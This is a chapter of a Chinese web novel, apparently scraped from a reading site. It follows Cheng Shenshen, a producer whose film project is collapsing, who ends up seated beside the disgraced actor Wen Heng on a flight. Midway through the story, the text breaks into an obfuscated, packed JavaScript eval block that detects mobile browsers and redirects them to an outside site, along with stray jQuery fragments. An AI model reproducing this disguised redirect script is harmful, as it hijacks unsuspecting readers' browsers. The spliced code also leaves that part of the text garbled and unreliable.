首都机场


    夜渐深，机场咖啡厅寥寥无几人。


    程申申终于打通高家明助理的电话，助理说高家明是疲劳过度晕倒摔断了腿。


    前几天暴雨引发泥石流，道路到现在还没完全疏通，安全起见只能先送到县医院。


    知道片方领导担心，高家明的助理说：“程制片您放心吧，医生说问题不大。”


    程申申语气不太好：“问题不大是医生说的，还是那个死犟的老头子说的？”


    小助理瞬间紧张地说不出话来。


    程申申吐气，跟听吩咐办事的人较什么劲，叮嘱他照顾好高家明后就挂断了电话。


    问题不大？


    都是年近七十岁的人了，还天天意气用事，完全不懂爱惜身体！


    高家明是电影圈的泰斗级人物，是程申申的影视公司即将开机电影《置换》的导演。他是程申申爷爷故友，原五年前就退休养老，是特意为这个项目才重新出山的。


    电影《置换》是打拐题材，高家明在全国勘景了几个月，最终确定在云峰拍。只是云峰穷山恶水，地势高耸，年轻人都高反，更别提老人家了。


    程申申看了眼时间，飞机还要一个小时才起飞。“你再找几个导演做备选，”她跟桌对面的助理孟雷说。


    “啊？”孟雷表情为难，“我找了，但是......”


    “但是什么但是！国内找不到就去国外找！”程申申看他这个样子就气不打一处来，把这几天憋闷的情绪一股脑发了，“就老头儿那身体，肯定受不了这么高强度拍摄，我提前多少天酒让你再找几个执行副导演了？人呢？”


    孟雷耷拉着脑袋，大气都不敢出一口。


    他委屈，真不是他工作不尽心，而是三流导演老板看不上，各方面都适配的人家直接婉拒不方便合作——不合作的原因很简单，老板跟她亲爹闹翻了。


    罗布斯塔是近三年圈内发展势头最猛的影视公司，没有之一。三年间拍摄十余部电影，虽口碑清一色不及格，但投资、演员阵容、宣发实力却一部比一部猛。


    影视圈的成功秘诀从来只有一条——背靠大树好乘凉。而罗布斯塔背靠的则是国内影视巨头的程氏影业，老板程申申是程氏当家掌权人的独生女。


    然而这对被外界认为是绝对典范的好父女，却在数日前突然闹崩——先是程氏官博隐晦表示不再为罗布斯塔提供任何资源协助。而程大小姐紧跟着转发了那条微博，非常嚣张地回了一个滚字。


    自此圈内流言四起——有说程氏那位当家人外面有个小儿子的；有说程千金玩物丧志终于惹怒老子的；有说两人是因分账不匀而引发家庭内讧的......


    然而不管流言如何、真相如何，圈里那些惯会见风使舵的早早就倒向了程氏。虽说程家千金是已故老爷子钦点的接班人，但她常年玩物丧志，谁都不认为她有扳倒亲爹继承家业的本事。


    电影《置换》原本下个月就要开机，经老板一个“滚”字后，短短一周时间，确定的投资撤了，合作多年的拍摄团队退出，甚至连签好合同的演员竟然自愿赔违约金也要解约。


    如果不是还有高导在，电影《置换》就已经是百分百的光杆司令了。


    而这根光杆大人似乎打定主意要跟她亲爹斗到底，至今都没有服软的意思。这不，得知高导受伤消息时，她人正在酒桌上跟几个大老粗的暴发户老板拼酒。她想着——影视圈没资本给她投钱，那她可以跨界求合作啊。


    只是程氏涉足的行业何止一个影视圈？


    天天把自己喝成烂泥的人自然懂这个道理，如今这般不过是病急乱投医罢了。


    来机场的路上，孟雷就已收到那几个暴发户老板的答复，清一色要考虑下——考虑下就是拒绝的意思。他斟酌一路要不要把这个消息同步给老板，等她发完脾气，瞧着她气消了点，刚想说又听广播通知她乘坐的航班开始登机。


    “机票呢？”程申申揉戳着太阳穴，脑袋有点涨。


    “啊，哦......这里。”孟雷迟疑地把机票递了过去。


    他表情实在太过惊恐，程申申以为是自己吓到他了，说：“你当我刚在发酒疯，我去云峰这几天你该干嘛干嘛，不用急也不用怕，有我呢，天塌不了。”


    孟雷头却低得更深了。


    程申申郁闷了，心想自己刚也没说什么过分话啊。


    终于，孟雷闷闷地开了口，“那个申申姐......您的机票我定错了......”


    -


    温蘅从前没坐过经济舱，他经纪人袁文博担心他被人认出来，在电话里反复强调：“飞机就三个半小时，你委屈下，帽子口罩尽量别摘。”


    事实上温蘅已经捂得很严实了，但是他个子高、身材好，再加上他那头及肩黑发，袁文博还是觉得他站在人群中太扎眼了。


    位置在机舱最后一排，温蘅登机晚，经济舱的乘客基本都已入座，他穿过狭长的走廊，很顺利就找到了自己的位置——两人位，他靠走廊，靠窗乘客还没来。


    经济舱位置前后之间的空隙狭窄，温蘅坐下有点伸不开腿。


    袁文博在此时问他：“明天下午回京北的机票信息你收到了么？”


    他答：“嗯。”


    袁文博：“时间来得及吧？要是来不及我就再去看看能不能跟对方改时间。”


    他确定道：“嗯，我看过老师就回来。”


    袁文博：“那就行。明晚见的这位为你复出可没少出力，咱们得好好谢谢人家。当然，他手上最近有几个项目还不错，到时候也看看咱能跟他合作不。”


    温蘅不语。


    感谢是应该的，掺杂其他就显得功利心太强。


    袁文博太了解他了，当即就劝道：“阿蘅，你这次复出不易，我们必须把握机会。今非昔比了，如今再也不是别人上赶着给我们送项目的时候了......有些东西咱们得懂的放下。”


    他最后那句说的含蓄，温蘅却明白他的意思——从前他风光无两，有的是清高和骄傲的资本，如今他落魄如蝼蚁，得把从前嗤之以鼻的阿谀奉承学起来。


    见他闷声，袁文博就知道自己刚说的又成了废话，可话茬开了就忍不住，正要继续唠叨就听电话那头传来一个冷冷的女声。


    “帅哥，我是里面位置，麻烦让下谢谢。”用词虽客气，语气却很冲。


    “！！！”还不等温蘅回话，袁文博已经警惕了起来，他怕是温蘅的粉丝：“哎哟我的妈呀，你咋跟一个女的坐在一起啊！记住我说的，绝对不要摘口罩哦，不能被认出来！”


    “知道，先挂了。”温蘅收起手机起身。


    女人不等他完全走出来，直接粗鲁地挤了进去。


    浓浓酒气迎面而来。


    温蘅皱紧眉心，下意识拉紧了口罩——他讨厌喝酒，也讨厌爱喝酒的人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100247|163782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    飞机即将起飞，空姐已多次提醒乘客关闭通讯设备，旁边人却还在疯狂发语音。她应该也是影视工作者，话语间都是关于电影项目筹备和拍摄的。


    空姐忍无可忍，微笑提醒：“女士，麻烦您将手机关机或者调成飞行模式。”


    女人哦了声，说着“最后一条”的同时摁下语音键，“孟雷，你绝对死定了！”


    她把这话说的咬牙切齿，空姐误会客人是在不爽自己催太紧，于是勾出一个绝对完美的微笑，可还没开口呢就看对方飞速把手机关了机。


    她把黑屏的手机给空姐看：“姐姐我关好啦，让您费心啦。”


    她说话时大大的眼睛弯起的弧度很好看，声音甜得像是浸了糖，跟方才凶神恶煞的模样天差地别。空姐不免受宠若惊，忙说：“这是我该做的。您需要喝点什么吗，我可以先帮您拿点。”


    “红酒。”她几乎是秒答的。


    “啊，好的。”空姐嘴里应得爽快，心里却想这么漂亮又可爱的姑娘竟是个酒痴！


    怕稍后起飞时颠簸出意外，空姐用一次性塑料杯给她倒了半杯酒送来。她也不嫌少，空姐刚走直接把那半杯酒一口干了，看着比喝白水还简单。


    巨大的棒球帽沿下，温蘅的眼睛不觉就睁大了些。他不爱看热闹，可旁边女人的行为举止总让他有种分裂感——发语音时凶巴巴，扭头对空姐甜蜜蜜，原以为她会随便把纸杯扔旁边，又看她十分规矩地放进垃圾袋，再把垃圾袋放进自己包里。


    然后......


    “嗝~”她打了个长长的酒嗝，而后心满意足地抚顺胸口，最后眨巴了几下嘴巴，似还在回味刚才红酒的味道。


    女酒鬼。


    温蘅在心里给她定了义。


    等飞机起飞，温蘅最担心的事却没发生。


    女人没发酒疯，全程很安静，只一个姿势保持久了换了姿势。


    温蘅此时才彻底放下戒备，稳下心来。


    他拿出平板，翻看上飞机前老师发给他的剧本。


    电影《置换》讲述两个自小生活在不幸福家庭的小男孩被拐多年后被找回，面对累累罪证，人贩子却泰然自若狡辩自己恶行是在为两个孩子谋求幸福出路的故事。


    剧本中将‘法庭对峙’作为串联整个故事的主场景，以回忆的形式呈现人贩子拐、虐待、卖孩子的过程，以及孩子被卖后两个孩子和两个家庭发生的变化。


    市面上有不少拐卖题材的电影，但那些作品基本是以受害者父母寻找孩子的视角展开，温蘅还是第一次见像《置换》这种以人贩子视角深入的。


    剧本无可挑剔，剧情设计巧妙，台词精妙绝伦。


    但温蘅却兴奋不起来，他总觉得哪里不对，但具体又说不上来。


    于是千头万绪只汇成一个问题：什么样的人会选择这样的角度拍这类电影？


    悲惨故事总让人心情沉重，他将平板收起来，想喝口水缓缓。


    然而在他抬眼的瞬间，察觉到有一股强烈的注视正在看着他。


    他看过去。


    眼见偷看被发现，对方竟也不躲闪，反而更明目张胆。


    温蘅此刻才意识他刚拉下的口罩忘记拉回去，他想既然对方也是影视方面的工作者，估计之前在工作场合见过。他无意打招呼，便想冷处理了之。


    然而下一秒。


    对方声音不大不小地开口，“你是温蘅。”